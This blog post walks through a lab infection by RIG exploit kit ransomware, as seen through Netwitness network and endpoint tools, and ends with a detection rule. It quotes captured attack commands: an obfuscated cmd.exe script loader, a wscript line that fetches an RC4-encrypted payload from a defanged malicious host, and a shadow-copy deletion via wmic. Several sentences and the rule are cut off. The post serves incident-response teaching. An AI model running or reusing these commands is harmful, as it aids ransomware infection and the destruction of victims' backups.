*** Warning the sites referenced contain live exploit kits and malware. As always please exercise proper caution when working with live malware. ***
Ransomware has elevated itself into a clear and present threat that organizations faced in 2016. Unfortunately, this threat is likely to continue into 2017 and beyond. As businesses and vendors work at combating these and other threats, it is important to understand what is happening on both the network and endpoints so that we can all properly recognize and respond when such an incident occurs. This post is an attempt to reveal what incident responders may see in the course of defending the business. It intends to show what a single drive-by attack may look like from both the network and host points of view.
First, the architecture. This is a lab environment running RSA Netwitness Suite 10.6.1. A Packet Decoder is monitoring the internet ingress and egress points from a mirror port on a managed switch. This is mainly outbound client activity. The Event Stream Analytics (ESA) appliance is also available. There is no web proxy in this environment. The workstation that gets compromised is a Windows 7 VM running IE 8 and Flash 14. These are obviously old versions but useful for exploitation. The RSA Netwitness Endpoint (ECAT) 4.2.0.2 agent is installed and set to Full User-Mode Monitoring.
Next, we need some malicious code. For that, I looked at the fantastic malware and packet captures at Malware-Traffic-Analysis.Net. There is some amazing work being done here and is an excellent reference point to compare what was observed in network traffic as well as what happens on the host. Specifically, I was looking at this:
2016-11-21 - RIG EK DATA Dump (http://malware-traffic-analysis.net/2016/11/21/index2.html)
Rather than uploading a PCAP or infecting the host with the malware sample, I had the system visit the same compromised website as referenced in the post.
In a few moments, I can see the ransom note appear on my victim PC's desktop.
As if that wasn't enough, the malware was kind of enough to change my desktop to include the ransom note as well.
This is all well and good, and you would certainly be aware you have a problem, but what was captured on the wire and on the host. Let's start with the network traffic.
The first thing we see is an HTTP GET to the compromised site.
We can see it is likely a Wordpress site and that it had gzip content encoding. If we scroll a little further down in the session, we can see a suspicious looking iframe that appears to have been injected into the page.
In 
and then a suspicious Adobe Flash file.
This winds up being the exploit payload to compromise the host. The content type of "application/x-shockwave-flash" may be something we could use in the future.
Once exploited, this brings us to 
Also important is the content-type of "application/x-msdownload". You will notice that there doesn't appear to be an MZ file header in this session. That is because this malicious binary is using RC4 encryption and will be decrypted on the host just in time to do it's real purpose.
Lastly, 
This essentially concludes the network activity of this malicious code. Lets look at what happened on the endpoint itself.
First, we see the Internet Explorer process (iexplore.exe) create a process for cmd.exe. The Target Command Line shows us it is executing an 'echo' followed by what looks to be a loop.
| CMD command |
|---|
| cmd.exe /q /c cd /d "%tmp%" && echo function O(n,g){for(var c=0,s=String,d,D="pu"+"sh",b=[],i=[],r=(/**/255),a=0;r+1^>a;a++)b=a;for(a=0;r+1^>a;a++)c=c+b+g |
Next, we see the Windows Scripting Host (wscript.exe) writing to an executable named 'rad9612F.tmp.exe' as it was executing a script. Furthermore, it was retrieving the file from 'red[.]mobilaile[.]com' which we saw in the network section step 3. The file was RC4 encrypted. The script below uses the key "gexywoaxor" to decrypt the file on the host.
| wscript command |
|---|
| wscript //B //E:JScript MXj6sFosp "gexywoaxor" "hXXp://red[.]mobilaile[.]com/?q=w3jQMvXcJxbQFYbGMvvDSKNbNkzWHViPxo-G9MildZuqZGX_k7DDfF-qoV3cCgWR&sourceid=msie&aqs=msie.103j68.406n6u8&oq=xfotJbpWbAXj2UKGewJind9cBF5A8KCu3EjdmhGbhZ-Fq0SEaQpD96KWELALhR32&es_sm=116&ie=UTF-8" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)" |
Next, we see cmd.exe creating the 'rad9612F.tmp.exe' process. As it is doing this, the 'rad9612F.tmp.exe' process also writes to 'System.dll'. This file is located at "C:\Users\analyst\AppData\Local\Temp\nslC925.tmp\" on the endpoint.
This could be something of interest and we can ask RSA Netwitness Endpoint (ECAT) to retrieve that file for us so that we can conduct additional analysis. We could even blacklist the file hash and then identify any other system that might have it.
In step 4, we can see that wscript is run again, this time creating the file 'rad29123.tmp.exe' and placing it in the "C:\Users\analyst\AppData\Local\Temp\" directory.
Step 5 is crucial as now the "rad29123.tmp.exe' module is calling cmd.exe to execute the Windows Management Instrumentation Command-line (wmic). It does this so that it can run 'wmic.exe shadowcopy delete'. This would delete any volume shadow copies on the host to prevent the victim from being able to restore files.
At this point, the system is compromised and data is lost. Step 6 shows the calling of the mshta.exe process to launch the ransomware note and step 7 shows the processes being stopped with the taskkill command. Eventually, rad9612F.tmp.exe' deletes itself.
There were several Instant Indicators of Compromise (IIOC's) that were part of this and could be useful for future investigations.
One thing about ransomware is that it is noisy. There isn't much that is stealthy about it. It wants you to know you have been compromised so that you would pay the ransom to get the decryption tool and recover your data. This activity can be detected with network and endpoint indicators. ESA can also help as we can string some different network indicators together across multiple sessions.
One custom ESA rule to help detect possible flash exploitation is as follows:
flash_to_download
module Module_flashdown_20161109093400;
SELECT * FROM Event( |
This rule looks for content-type 'application/x-shockwave-flash' followed by content-type 'application/x-msdownload' within 15 seconds for the same source IP. If your environment is capturing in front of a web proxy, you may be able to partition by 'orig_ip', which would be the originating IP address provided there is an x-forwarded-for header. If there is no x-forwarded-for header available to you, contact your network and/or proxy administrators. Just make sure the header gets removed before it leaves the perimeter firewalls. This type of information is incredibly valuable to analysts.
This rule did require a change to how the 'content' meta key is recognized by ESA. Normally, 'content' is listed as a string. This means, it would only have one single value per session. However, there could be multiple content-types in a particular network session. Therefore, I needed to change this from a string to an array. Doing so was relatively easy. I simply added the 'content' meta key as an array and restarted the ESA service.
To restart the ESA service, ssh to the appliance and issue 'service rsa-esa restart' Once restarted, 'content' was listed as an array.
Thats all for now. Good luck out there and happy hunting.
3 Comments
